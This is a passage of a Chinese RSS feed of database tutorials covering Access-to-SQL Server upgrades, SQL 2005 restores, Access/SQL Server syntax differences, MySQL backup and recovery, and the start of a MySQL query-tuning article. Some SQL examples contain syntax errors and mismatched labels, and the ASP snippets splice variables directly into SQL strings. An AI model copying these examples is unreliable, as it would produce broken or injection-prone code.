<p>很多<a class="ReplaceKeyword" href="http://www.knowsky.com/article.asp?typeid=173" target="_blank"><font color="#000000">Access</font></a>和SQL Server开发人员都经常面临着将一个Access<a class="ReplaceKeyword" href="http://www.knowsky.com/sql.asp" target="_blank"><font color="#000000">数据库</font></a>升级到SQL Server数据库的问题。由于存在现有的Access升级向导，这一转变的过程就会变得相当简单，尤其是当你建立一个与SQL Server数据相联系的ADP的时候。然而，向导并不是十全十美的，需要解决的问题还是大有存在。</p>
<p><br />首先，有些对象并不是简单的升级，所以这时你不得不人为地处理。第二，很多Access特性──比如一些查询类型，对象，以及特定的数据类型在你没有做好升级之前的准备的情况下就会导致错误的产生。现在，让我们讨论一下在数据库升级过程中可能面临的问题，我将提供能够解决问题的一些通用的指导方法，最后，你必须花一定的时间和精力将这些知识应用到开发之中。</p>
<p>哪些不能够升级？<br />在处理实际的问题之前，让我们看看不能随意升级的对象，它们包括以下：</p>
<p>交叉表查询<br />包含SQL DISTINCTROW关键字的任何查询<br />所有的隐藏对象<br />作为参数的表格数据的查询(这些表格可以升级，但它们却不能正确的运行)<br />Pass-Through查询<br />SQL数据定义语言查询(比如Create TABLE, Alter TABLE, 以及Drop语句)<br />这些Access对象需要特定的处理。具体的，你将建立一个可比较的SQL Server对象，除此之外，SQL Server不支持Jet安全特性，所以你必须使用Windows认证和/或SQL Server安全机制。</p>
<p>包括的问题点<br />在数据库的升级之前，如果你已经知道哪些地方将可能导致错误并知道如何处理产生的错误，数据库升级过程中导致的错误的可能性将大大地减少。我能够提供的数据库升级的最好的建议是在开发之前做好最完整的计划。现在，我将列举数据库升级过程中可能会导致产生的问题──如果你没有做好计划之前的准备。</p>
<p>不支持的日期<br />&nbsp;<br />关于日期，在Access和SQL Server之间都存在很大的差别。Access支持很大范围的日期，从100年1月1日到9999年12月31日。相反，SQL Server支持的日期从1753年1月1日到9999年12月31日。数据库的升级向导无法升级包含SQL Server不支持的日期的表格。这就意味着在升级之前你必须人工地处理这些日期。幸运的是，这一问题只影响少数的数据库。</p>
<p>与表格控制相关的查询<br />开发人员通常会使用表格控制的查询来限制或询问一个数据来源。一个表格可以提供将数据显示在一个特定报告中的多种选择。例如，SQL Select语句包含了用户的输入：</p>
<p>&nbsp;Select orders.RequiredDate, orders.ShippedDate, orders.Freight,<br />&nbsp;&nbsp;&nbsp; orders.ShipName, orders.ShipAddress, orders.OrderDate<br />FROM orders<br />Where<br />&nbsp;Orders.OrderDate Between [Forms]![DateFilter]![DateFrom] And [Forms]![DateFilter]![DateTo]));</p>
<p>为了限定报告中的数据，用户可以输入一个开始和结束的日期到列表(DateFrom 和DateTo)。其他的代码可以打开并显示满足用户输入的两个日期之间的记录。</p>
<p>因为这种查询方式被Jet处理，表格中产生的问题可以很快被解决。然而，当数据库升级时，SQL Server不会涉及到表格控制，结果通常为查询失败。为了修正这一查询方式，开发人员必须更改表格。我建议你使用输入参数属性，并将数值传递到SQL Server存储程序。</p>
<p>交叉表查询<br />SQL Server不支持Jet TRANSFORM语句──这一语句可以使一个交叉表查询成为可能。例如，数据库升级向导支持以下查询方式：</p>
<p>TRANSFORM Sum(CCur([Order Details].UnitPrice*[Quantity]*(1-[Discount])/100)*100)<br />&nbsp;&nbsp;&nbsp; AS ProductAmount<br />Select Products.ProductName, orders.CustomerID, Year([OrderDate]) AS orderYear<br />FROM Products INNER JOIN (Orders INNER JOIN [Order Details]<br />ON orders.OrderID = [Order Details].OrderID) ON Products.ProductID =<br />&nbsp;&nbsp;&nbsp; [Order Details].ProductID<br />Where orders.OrderDate Between #1/1/1997# And #12/31/1997#<br />GROUP BY Products.ProductName, orders.CustomerID, Year([OrderDate])<br />PIVOT &quot;Qtr &quot; &amp; DatePart(&quot;q&quot;,[OrderDate],1,0) In (&quot;Qtr 1&quot;,&quot;Qtr 2&quot;,&quot;Qtr 3&quot;,&quot;Qtr 4&quot;)</p>
<p>&nbsp;</p>
<p>还好，你无需在SQL Server中使用Transact-SQL (T-SQL) CASE关键词重新编写一个Access的交叉表查询。下面的Select语句描述了使用T-SQL方式重新建立一个交叉表查询的语法：</p>
<p>Select Customers.CustomerID, Customers.CustomerName<br />&nbsp;&nbsp;&nbsp; SUM (Case When orders.Orderdate BETWEEN '01-Jan-1990' AND '31-Dec-1996'<br />&nbsp;&nbsp;&nbsp; Then [UnitPrice]*[Quantity] Else 0 End) as 1997)<br />FROM Customers INNER JOIN orders<br />ON CustomerID=Orders.CustomerID</p>
<p>&nbsp;</p>
<p>隐藏对象<br />所有的隐藏对象在数据库升级过程中都被忽略。对此，你最好的处理方法是使用程序对象的GetHiddenAttribute属性检查对象。例如，以下代码使用这一方法决定对象是否被隐藏。<br />Dim IsHidden As Boolean<br />If Application.GetHiddenAttribute(objtype, objname) Then&nbsp;&nbsp; <br />&nbsp; IsHidden = True<br />End If</p>
<p>如果特定的对象被隐藏，IsHidden布尔变量将被为True。</p>
<p>包含索引的表格<br />&nbsp; <br />数据库升级向导不支持没有索引或其他限制的表格。升级向导可以升级一个无索引的表格，但其转换之后只能成为一个只读的表格。幸运的是，解决这一问题很简单：添加一个索引到每一个没有索引的表格。一旦你已经完成升级数据库，请记住将添加的索引删除。</p>
<p>数据库升级操作步骤<br />一旦你已经做好一切准备，并确定操作可以开始。数据库升级向导可以为你提供三种选择：</p>
<p>输出Access表格到SQL Server并链接到Access数据库<br />使用Pass-Through查询与SQL Server的后台服务器的表格相互通讯<br />将整个Access数据库移动到一个Access数据库工程(其只与SQL Server联系)<br />为了启动数据库升级向导，先从工具菜单栏中选择数据库功能，然后从子菜单中选择升级向导。向导的第一个面板提供两种选择：你可以建立一个新的SQL Server 数据库来存放Access表格，如图A所示，或者你可以在一个现成的SQL Server数据库中添加表格。选择一个现成的SQL Server数据库将需要输入一个数据服务名称(DSN)。</p>
<p>图 A</p>
<p align="center"><img height="361" src="http://www.knowsky.com/img/2002121sql.gif" width="486" alt="" /></p>
<div align="center">选择建立一个新的数据库或者使用一个现成的数据库</div>
<div align="center">&nbsp;</div>
<div align="left">第二个面板要求获得SQL Server范例的信息。除此之外，你必须认证安全机制(如果存在)和为新的数据库提供一个缺省的名称，如图B所示。</div>
<div align="center">图B</div>
<div align="left">&nbsp;</div>
<div align="left">
<p align="center"><img height="361" src="http://www.knowsky.com/img/2002121sql1.gif" width="486" alt="" /></p>
<div align="center">为一个新的数据库命名</div>
<p>在这点上，你可以将需要的表格复制到SQL Server，你也可以指出完成的部分将成为一个完整的ADP或者一个被链接的表格，如图C所示。</p>
<p align="center">图 C</p>
<p align="center"><img height="361" src="http://www.knowsky.com/img/2002121sql2.gif" width="486" alt="" /></p>
<p align="center">指明一个ADP或者一个被链接的表格</p>
<div align="center">&nbsp;</div>
<h5><br />避开麻烦<b><br /></b></h5>
<p>每一个开发人员都有不同的数据库升级操作的经验，所以无法保证第一次操作就能够达到成功。然而，如果你遵循本文中提供的有关规则，你应该遇到更少的错误，即使碰到，你也可以很容易地修正错误，并继续操作。</p>
</div>
</span>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/1812.htm</link>
			<title><![CDATA[sql2000备份的数据库如何在sql2005中还原报错问题]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Mon,12 May 2008 10:55:57 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=1812</guid>
		<description><![CDATA[sql2000备份的数据库如何在sql2005中还原呀?提示出错误呀?<br/><br/><br/>问题解决方案:<br/>先在sql2005中建一个兼容级别为 SQLSERVER 2000(80)的数据库，然后还原<br/>还原完后可以转换成90的，也可以不转，随意了<br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/1810.htm</link>
			<title><![CDATA[access与SqlServer 之时间与日期及其它SQL语句比较]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Mon,12 May 2008 10:54:21 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=1810</guid>
		<description><![CDATA[&lt;%&#39;**********************************************&#39;小结：access与SqlServer 之时间与日期及其它SQL语句比较&#39;作者：flashasp，工作中总结&#39;**********************************************1、Datediff： 1.1算出日期差：1.access:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; datediff(&#39;d&#39;,fixdate,getdate())2.sqlserver:&nbsp;&nbsp;&nbsp;&nbsp;datediff(day,fixdate,getdate())ACCESS实例：&nbsp;&nbsp;&nbsp;&nbsp;sel&#101;ct * from table wh&#101;re data=datediff(&#39;d&#39;,fixdate,getdate())sqlserver实例： sel&#101;ct * from table wh&#101;re data=datediff(day,fixdate,getdate()) 1.2算出时间差：1.access:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; datediff(&#39;h&#39;,fixdate,getdate())2.sqlserver:&nbsp;&nbsp;&nbsp;&nbsp;datediff(Hour,&#39;2004-12-10&#39;,getdate())ACCESS实例：&nbsp;&nbsp;&nbsp;&nbsp;sel&#101;ct DATEDIFF(&#39;h&#39;,HMD,getdate())sqlserver实例： sel&#101;ct datediff(Hour,&#39;2004-12-10&#39;,getdate()) 1.3算出月份差：1.access:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; datediff(&#39;m&#39;,fixdate,getdate())2.sqlserver:&nbsp;&nbsp;&nbsp;&nbsp;datediff(Month,&#39;2004-12-10&#39;,getdate())ACCESS实例：&nbsp;&nbsp;&nbsp;&nbsp;sel&#101;ct DATEDIFF(&#39;m&#39;,HMD,getdate())sqlserver实例： sel&#101;ct datediff(Month,&#39;2004-12-10&#39;,getdate())---------------------------------------------------------------------------- 2、日期变量1.access:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #&#34;&amp;data&amp;&#34;#2.sqlserver:&nbsp;&nbsp;&nbsp;&nbsp;&#39;&#34;&amp;data&amp;&#34;&#39;ACCESS实例：&nbsp;&nbsp;&nbsp;&nbsp;sel&#101;ct * from table wh&#101;re data=#&#34;&amp;data&amp;&#34;#sqlserver实例： sel&#101;ct * from table wh&#101;re data=&#39;&#34;&amp;data&amp;&#34;&#39;---------------------------------------------------------------------------- 3、是否1.access:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; not finished2.sqlserver:&nbsp;&nbsp;&nbsp;&nbsp;finished=0ACCESS实例：&nbsp;&nbsp;&nbsp;&nbsp;sel&#101;ct * from table wh&#101;re not finishedsqlserver实例： sel&#101;ct * from table wh&#101;re finished=0---------------------------------------------------------------------------- 4、求余数 1.access:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; a mod b＝1002.sqlserver:&nbsp;&nbsp;&nbsp;&nbsp;a&nbsp;&nbsp;% b&nbsp;&nbsp;＝100ACCESS实例：&nbsp;&nbsp;&nbsp;&nbsp;sel&#101;ct&nbsp;&nbsp; a mod b＝100 from table wh&#101;re not finishedsqlserver实例： sel&#101;ct a&nbsp;&nbsp;% b&nbsp;&nbsp;＝100&nbsp;&nbsp;from table wh&#101;re finished=0---------------------------------------------------------------------------- 5、获取当天日期1.access:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; now()2.sqlserver:&nbsp;&nbsp;&nbsp;&nbsp;getdate()ACCESS实例：&nbsp;&nbsp;&nbsp;&nbsp;sel&#101;ct&nbsp;&nbsp; now()sqlserver实例： sel&#101;ct getdate()----------------------------------------------------------------------------%&gt; 注：本文转自<a href="http://blog.csdn.net/flashasp/archive/2007/01/23/1490885.aspx" target="_blank" rel="external">http://blog.csdn.net/flashasp/archive/2007/01/23/1490885.aspx</a>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/1800.htm</link>
			<title><![CDATA[MySQL数据库和备份与恢复]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Sun,11 May 2008 14:49:16 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=1800</guid>
		<description><![CDATA[在数据库表丢失或损坏的情况下，备份你的数据库是很重要的。如果发生系统崩溃，你肯定想能够将你的表尽可能丢失最少的数据恢复到崩溃<br/><br/>发生时的状态。有时，正是MySQL管理员造成破坏。管理员已经知道表以破坏，用诸如vi或Emacs等编辑器试图直接编辑它们，这对表绝对不是<br/><br/>件好事！&nbsp;&nbsp;<br/><br/>　　备份数据库两个主要方法是用mysqldump程序或直接拷贝数据库文件（如用cp、cpio或tar等）。每种方法都有其优缺点：&nbsp;&nbsp;<br/><br/>　　mysqldump与MySQL服务器协同操作。直接拷贝方法在服务器外部进行，并且你必须采取措施保证没有客户正在修改你将拷贝的表。如果你<br/><br/>想用文件系统备份来备份数据库，也会发生同样的问题：如果数据库表在文件系统备份过程中被修改，进入备份的表文件主语不一致的状态，<br/><br/>而对以后的恢复表将失去意义。文件系统备份与直接拷贝文件的区别是对后者你完全控制了备份过程，这样你能采取措施确保服务器让表不受<br/><br/>干扰。&nbsp;&nbsp;<br/><br/>　　mysqldump比直接拷贝要慢些。&nbsp;&nbsp;<br/><br/>　　mysqldump生成能够移植到其它机器的文本文件，甚至那些有不同硬件结构的机器上。直接拷贝文件不能移植到其它机器上，除非你正在拷<br/><br/>贝的表使用MyISAM存储格式。ISAM表只能在相似的硬件结构的机器上拷贝。在MySQL 3.23中引入的MyISAM表存储格式解决了该问题，因为该格<br/><br/>式是机器无关的，所以直接拷贝文件可以移植到具有不同硬件结构的机器上。只要满足两个条件：另一台机器必须也运行MySQL 3.23或以后版<br/><br/>本，而且文件必须以MyISAM格式表示，而不是ISAM格式。 <br/><br/>　　不管你使用哪种备份方法，如果你需要恢复数据库，有几个原则应该遵守，以确保最好的结果：&nbsp;&nbsp;<br/><br/>　　定期实施备份。建立一个计划并严格遵守。&nbsp;&nbsp;<br/><br/>　　让服务器执行更新日志。当你在崩溃后需要恢复数据时，更新日志将帮助你。在你用备份文件恢复数据到备份时的状态后，你可以通过运<br/><br/>行更新日志中的查询再次运用备份后面的修改，这将数据库中的表恢复到崩溃发生时的状态。&nbsp;&nbsp;<br/><br/>　　以文件系统备份的术语讲，数据库备份文件代表完全倾倒（full dump），而更新日志代表渐进倾倒（incremental dump）。&nbsp;&nbsp;<br/><br/>　　使用一种统一的和易理解的备份文件命名机制。象backup1、buckup2等不是特别有意义。当实施你的恢复时，你将浪费时间找出文件里是<br/><br/>什么东西。你可能发觉用数据库名和日期构成备份文件名会很有用。例如： <br/><br/>　　%mysqldump samp_db &gt;/usr/archives/mysql/samp_db.1999-10-02&nbsp;&nbsp;<br/>　　%mysqldump menagerie &gt;/usr/archives/mysql/menagerie.1999-10-02&nbsp;&nbsp;<br/><br/>　　你可能想在生成备份后压缩它们。备份一般都很大！你也需要让你的备份文件有过期期限以避免它们填满你的磁盘，就象你让你的日志文<br/><br/>件过期那样。&nbsp;&nbsp;<br/><br/>　　用文件系统备份备份你的备份文件。如果遇上了一个彻底崩溃，不仅清除了你的数据目录，也清除了包含你的数据库备份的磁盘驱动器，<br/><br/>你将真正遇上了麻烦。也要备份你的更新日志。 <br/><br/>　　将你的备份文件放在不同于用于你的数据库的文件系统上。这将降低由于生成备份而填满包含数据目录的文件系统的可能性。&nbsp;&nbsp;<br/><br/>　　用于创建备份的技术同样对拷贝数据库到另一台机器有用。最常见地，一个数据库被转移到了运行在另一台主机上的服务器，但是你也可<br/><br/>以将数据转移到同一台主机上的另一个服务器。<br/><br/>　　1、使用mysqldump备份和拷贝数据库&nbsp;&nbsp;<br/><br/>　　当你使用mysqldumo程序产生数据库备份文件时，缺省地，文件内容包含创建正在倾倒的表的Cr&#101;ate语句和包含表中行数据的Ins&#101;rt语句。<br/><br/>换句话说，mysqldump产生的输出可在以后用作mysql的输入来重建数据库。&nbsp;&nbsp;<br/>　　你可以将整个数据库倾倒进一个单独的文本文件中，如下：<br/>%mysqldump samp_db &gt;/usr/archives/mysql/samp_db.1999-10-02&nbsp;&nbsp;<br/><br/>　　输出文件的开头看起来象这样：&nbsp;&nbsp;<br/><br/>　　# MySQL Dump 6.0&nbsp;&nbsp;<br/>　　#&nbsp;&nbsp;<br/>　　# Host: localhost Database: samp_db&nbsp;&nbsp;<br/>　　#---------------------------------------&nbsp;&nbsp;<br/>　　# Server version 3.23.2-alpha-log&nbsp;&nbsp;<br/>　　#&nbsp;&nbsp;<br/>　　# Table structure for table &#39;absence&#39;&nbsp;&nbsp;<br/>　　#&nbsp;&nbsp;<br/>　　Cr&#101;ate TABLE absence(&nbsp;&nbsp;<br/>　　student_id int(10) unsigned DEFAULT &#39;0&#39; NOT NULL,&nbsp;&nbsp;<br/>　　date date DEFAULT &#39;0000-00-00&#39; NOT NULL,&nbsp;&nbsp;<br/>　　PRIMARY KEY (student_id,date)&nbsp;&nbsp;<br/>　　);&nbsp;&nbsp;<br/>　　#&nbsp;&nbsp;<br/>　　# Dumping data for table &#39;absence&#39;&nbsp;&nbsp;<br/>　　#&nbsp;&nbsp;<br/>　　Ins&#101;rt INTO absence VALUES (3,&#39;1999-09-03&#39;);&nbsp;&nbsp;<br/>　　Ins&#101;rt INTO absence VALUES (5,&#39;1999-09-03&#39;);&nbsp;&nbsp;<br/>　　Ins&#101;rt INTO absence VALUES (10,&#39;1999-09-08&#39;);&nbsp;&nbsp;<br/>　　......　&nbsp;&nbsp;<br/><br/>　　文件剩下的部分有更多的Ins&#101;rt和Cr&#101;ate TABLE语句组成。&nbsp;&nbsp;<br/><br/>　　如果你想压缩备份，使用类似如下的命令：&nbsp;&nbsp;<br/><br/>　　%mysqldump samp_db | gzip &gt;/usr/archives/mysql/samp_db.1999-10-02.gz&nbsp;&nbsp;<br/><br/>　　如果你要一个庞大的数据库，输出文件也将很庞大，可能难于管理。如果你愿意，你可以在mysqldump命令行的数据库名后列出单独的表名<br/><br/>来倾到它们的内容，这将倾倒文件分成较小、更易于管理的文件。下例显示如何将samp_db数据库的一些表倾到进分开的文件中：&nbsp;&nbsp;<br/><br/>　　%mysqldump samp_db student score event absence &gt;grapbook.sql&nbsp;&nbsp;<br/>　　%mysqldump samp_db member president &gt;hist-league.sql&nbsp;&nbsp;<br/><br/>　　如果你生成准备用于定期刷新另一个数据库内容的备份文件，你可能想用--add-dro&#112;-table选项。这告诉服务器将Dro&#112; TABLE IF EXISTS<br/><br/>语句写入备份文件，然后，当你取出备份文件并把它装载进第二个数据库时，如果表已经存在，你不会得到一个错误。&nbsp;&nbsp;<br/><br/>　　如果你倒出一个数据库以便能把数据库转移到另一个服务器，你甚至不必创建备份文件。要保证数据库存在于另一台主机，然后用管道倾<br/><br/>倒数据库，这样mysql能直接读取mysqldump的输出。例如：你想从主机pit-viper.snake.net拷贝数据库samp_db到boa.snake.net，可以这样很<br/><br/>容易做到：<br/><br/>　　%mysqladmin -h boa.snake.net cr&#101;ate samp_db&nbsp;&nbsp;<br/>　　%mysqldump samp_db | mysql -h boa.snake.net samp_db&nbsp;&nbsp;<br/><br/>　　以后，如果你想再次刷新boa.snake.net上的数据库，跳过mysqladmin命令，但要对mysqldump加上--add-dro&#112;-table以避免的得到表已存<br/><br/>在的错误：&nbsp;&nbsp;<br/>%mysqldump --add-dro&#112;-table samp_db | mysql -h boa.snake.net samp_db&nbsp;&nbsp;<br/>mysqldump其它有用的选项包括：<br/><br/>　　--flush-logs和--lock-tables组合将对你的数据库检查点有帮助。--lock-tables锁定你正在倾倒的所有表，而--flush-logs关闭并重新<br/><br/>打开更新日志文件，新的更新日志将只包括从备份点起的修改数据库的查询。这将设置你的更新日志检查点位备份时间。（然而如果你有需要<br/><br/>执行个更新的客户，锁定所有表对备份期间的客户访问不是件好事。）<br/><br/>　　如果你使用--flush-logs设置检查点到备份时，有可能最好是倾倒整个数据库。如果你倾倒单独的文件，较难将更新日志检查点与备份文<br/><br/>件同步。在恢复期间，你通常按数据库为基础提取更新日志内容，对单个表没有提取更新的选择，所以你必须自己提取它们。<br/><br/>　　缺省地，mysqldump在写入前将一个表的整个内容读进内存。这通常确实不必要，并且实际上如果你有一个大表，几乎是失败的。你可用-<br/><br/>-quick选项告诉mysqldump只要它检索出一行就写出每一行。为了进一步优化倾倒过程，使用--opt而不是--quick。--opt选项打开其它选项，<br/>加速数据的倾倒和把它们读回。<br/><br/>　　用--opt实施备份可能是最常用的方法，因为备份速度上的优势。然而，要警告你，--opt选项确实有代价，--opt优化的是你的备份过程，<br/><br/>不是其他客户对数据库的访问。--opt选项通过一次锁定所有表阻止任何人更新你正在倾倒的任何表。你可在一般数据库访问上很容易看到其效<br/><br/>果。当你的数据库一般非常频繁地使用，只是一天一次地调节备份。&nbsp;&nbsp;<br/><br/>　　一个具有--opt的相反效果的选项是--dedayed。该选项使得mysqldump写出Ins&#101;rt DELAYED语句而不是Ins&#101;rt语句。如果你将数据文件装入<br/><br/>另一个数据库并且你想是这个操作对可能出现在该数据库中的查询的影响最小，--delayed对此很有帮助。&nbsp;&nbsp;<br/><br/>　　--compress选项在你拷贝数据库到另一台机器上时很有帮助，因为它减少网络传输字节的数量。下面有一个例子，注意到--compress对与<br/><br/>远端主机上的服务器通信的程序才给出，而不是对与本地主机连接的程序：<br/><br/>　　%mysqldump --opt samp_db | mysql --compress -h boa.snake.net samp_db&nbsp;&nbsp;<br/>　　mysqldump有很多选项，详见《MySQL参考手册》。<br/><br/>　　2、使用直接拷贝数据库的备份和拷贝方法&nbsp;&nbsp;<br/><br/>　　另一种不涉及mysqldump备份数据库和表的方式是直接拷贝数据库表文件。典型地，这用诸如cp、tar或cpio实用程序。本文的例子使用cp<br/><br/>。<br/><br/>　　当你使用一种直接备份方法时，你必须保证表不在被使用。如果服务器在你则正在拷贝一个表时改变它，拷贝就失去意义。<br/><br/>　　保证你的拷贝完整性的最好方法是关闭服务器，拷贝文件，然后重启服务器。如果你不想关闭服务器，要在执行表检查的同时锁定服务器<br/><br/>。如果服务器在运行，相同的制约也适用于拷贝文件，而且你应该使用相同的锁定协议让服务器“安静下来”。<br/><br/>　　假设服务器关闭或你已经锁定了你想拷贝的表，下列显示如何将整个samp_db数据库备份到一个备份目录（DATADIR表示服务器的数据目录<br/><br/>）：&nbsp;&nbsp;<br/><br/>　　%cd DATADIR&nbsp;&nbsp;<br/>　　%cp -r samp_db /usr/archive/mysql&nbsp;&nbsp;<br/><br/>　　单个表可以如下备份：&nbsp;&nbsp;<br/><br/>　　%cd DATADIR/samp_db&nbsp;&nbsp;<br/>　　%cp member.* /usr/archive/mysql/samp_db&nbsp;&nbsp;<br/>　　%cp score.* /usr/archive/mysql/samp_db&nbsp;&nbsp;<br/>　　....&nbsp;&nbsp;<br/><br/>　　当你完成了备份时，你可以重启服务器（如果关闭了它）或释放加在表上的锁定（如果你让服务器运行）。&nbsp;&nbsp;<br/><br/>　　要用直接拷贝文件把一个数据库从一台机器拷贝到另一台机器上，只是将文件拷贝到另一台服务器主机的适当数据目录下即可。要确保文<br/><br/>件是MyIASM格式或两台机器有相同的硬件结构，否则你的数据库在另一台主机上有奇怪的内容。你也应该保证在另一台机器上的服务器在你正<br/><br/>在安装数据库表时不访问它们。&nbsp;&nbsp;<br/><br/>　　3、复制数据库（Replicating Database）&nbsp;&nbsp;<br/><br/>　　复制（Replication）类似于拷贝数据库到另一台服务器上，但它的确切含义是实时地保证两个数据库的完全同步。这个功能将在3.23版中<br/><br/>出现，而且还不很成熟，因此本文不作详细介绍。 <br/><br/>　　4、用备份恢复数据&nbsp;&nbsp;<br/><br/>　　数据库损坏的发生有很多原因，程度也不同。如果你走运，你可能仅损坏一两个表（如掉电），如果你倒霉，你可能必须替换整个数据目<br/><br/>录（如磁盘损坏）。在某些情况下也需要恢复，比如用户错误地删除了数据库或表。不管这些倒霉事件的原因，你将需要实施某种恢复。&nbsp;&nbsp;<br/><br/>　　如果表损坏但没丢失，尝试用myisamchk或isamchk修复它们，如果这样的损坏可有修复程序修复，你可能根本不需要使用备份文件。关于<br/><br/>表修复的过程，见《数据库维护与修复》。&nbsp;&nbsp;<br/><br/>　　恢复过程涉及两种信息源：你的备份文件和个更新日志。备份文件将表恢复到实施备份时的状态，然而一般表在备份与发生问题之间的时间内已经被修改，更新日志包含了用于进行这些修改的查询。你可以使用日志文件作为mysql的输入来重复查询。这已正是为什么要启用更新日<br/><br/>志的原因。&nbsp;&nbsp;<br/><br/>　　恢复过程视你必须恢复的信息多少而不同。实际上，恢复整个数据库比单个表跟容易，因为对于数据库运用更新日志比单个表容易。&nbsp;&nbsp;<br/><br/>　　4.1 恢复整个数据库&nbsp;&nbsp;<br/><br/>　　首先，如果你想恢复的数据库是包含授权表的mysql数据库，你需要用--skip-grant-table选项运行服务器。否则，它会抱怨不能找到授权<br/><br/>表。在你已经恢复表后，执行mysqladmin flush-privileges告诉服务器装载授权标并使用它们。&nbsp;&nbsp;<br/><br/>　　将数据库目录内容拷贝到其它某个地方，如果你在以后需要它们。 <br/><br/>　　用最新的备份文件重装数据库。如果你用mysqldump产生的文件，将它作为mysql的输入。如果你用直接从数据库拷贝来的文件，将它们直<br/><br/>接拷回数据库目录，然而，此时你需要在拷贝文件之前关闭数据库，然后重启它。&nbsp;&nbsp;<br/><br/>　　使用更新日志重复做备份以后的修改数据库表的查询。对于任何可适用的更新日志，将它们作为mysql的输入。指定--one-database选项使<br/><br/>得mysql只执行你有兴趣恢复的数据库的查询。如果你知道你需要运用所有更新日志文件，你可以在包含日志的目录下使用这条命令：&nbsp;&nbsp;<br/><br/>　　% ls -t -r -1 up&#100;ate.[0-9]* | xargs cat | mysql --one-database db_name&nbsp;&nbsp;<br/><br/>　　ls命令生成更新日志文件的一个单列列表，根据服务器产生它们的次序排序（主意：如果你修改任何一个文件，你将改变排序次序，这导<br/><br/>致更新日志一错误的次序被运用。）&nbsp;&nbsp;<br/><br/>　　很可能你会是运用某几个更新日志。例如，自从你备份以来产生的更新日志被命名为up&#100;ate.392、up&#100;ate.393等等，你可以这样重新运行<br/><br/>：&nbsp;&nbsp;<br/><br/>　　%mysql --one-database db_name &lt; up&#100;ate.392&nbsp;&nbsp;<br/>　　%mysql --one-database db_name &lt; up&#100;ate.393&nbsp;&nbsp;<br/>　　.....&nbsp;&nbsp;<br/><br/>　　如果你正在实施恢复且使用更新日志恢复由于一个错误建议的Dro&#112; DATABASE、Dro&#112; TABLE或Del&#101;te语句造成丢失的信息，在运用更新日志<br/><br/>之前，要保证从其中删除这些语句。&nbsp;&nbsp;<br/><br/>　　4.2 恢复单个表 <br/><br/>　　恢复单个表较为复杂。如果你用一个由mysqldump生成的备份文件，并且它不包含你感兴趣的表的数据，你需要从相关行中提取它们并将它<br/><br/>们用作mysql的输入。这是容易的部分。难的部分是从只运用于该表的更新日志中拉出片断。你会发觉mysql_find_rows实用程序对此很有帮助<br/><br/>，它从更新日志中提取多行查询。<br/>&nbsp;&nbsp;<br/>　　另一个可能性是使用另一台服务器恢复整个数据库，然后拷贝你想要的表文件到原数据库中。这可能真的很容易！当你将文件拷回数据库<br/><br/>目录时，要确保原数据库的服务器关闭。]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/1797.htm</link>
			<title><![CDATA[三个方法优化MySQL数据库查询]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Sun,11 May 2008 14:39:52 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=1797</guid>
		<description><![CDATA[在优化查询中，数据库应用（如MySQL）即意味着对工具的操作与使用。使用索引、使用EXPLAIN分析查询以及调整MySQL的内部配置可达到优化查询的目的。<br/><br/>　任何一位数据库程序员都会有这样的体会：高通信量的数据库驱动程序中，一条糟糕的SQL查询语句可对整个应用程序的运行产生严重的影响，其不仅消耗掉更多的数据库时间，且它将对其他应用组件产生影响。<br/><br/>　如同其它学科，优化查询性能很大程度上决定于开发者的直觉。幸运的是，像MySQL这样的数据库自带有一些协助工具。本文简要讨论诸多工具之三种：使用索引，使用EXPLAIN分析查询以及调整MySQL的内部配置。<br/><br/>#1: 使用索引<br/><br/>　MySQL允许对数据库表进行索引，以此能迅速查找记录，而无需一开始就扫描整个表，由此显著地加快查询速度。每个表最多可以做到16个索引，此外MySQL还支持多列索引及全文检索。<br/><br/>　给表添加一个索引非常简单，只需调用一个Cr&#101;ate INDEX命令并为索引指定它的域即可。列表A给出了一个例子：<br/><br/>列表 A<br/><br/>mysql&gt; Cr&#101;ate INDEX idx_username ON users(username);<br/>Query OK, 1 row affected (0.15 sec)<br/>Records: 1&nbsp;&nbsp;Duplicates: 0&nbsp;&nbsp;Warnings: 0<br/><br/>　这里，对users表的username域做索引，以确保在Wh&#101;re或者HAVING子句中引用这一域的Sel&#101;ct查询语句运行速度比没有添加索引时要快。通过SHOW INDEX命令可以查看索引已被创建（列表B）。<br/><br/>列表 B<br/><br/>mysql&gt; SHOW INDEX FROM users;<br/>--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+<br/>| Table | Non_unique | Key_name&nbsp;&nbsp;&nbsp;&nbsp; | Seq_in_index | Column_name | Collation | Cardinality | Sub_part | Packed | Null | Index_type | Comment |<br/>--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+<br/>| users |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1 | idx_username |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1 | username&nbsp;&nbsp;&nbsp;&nbsp;| A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL |&nbsp;&nbsp;&nbsp;&nbsp; NULL | NULL&nbsp;&nbsp; | YES&nbsp;&nbsp;| 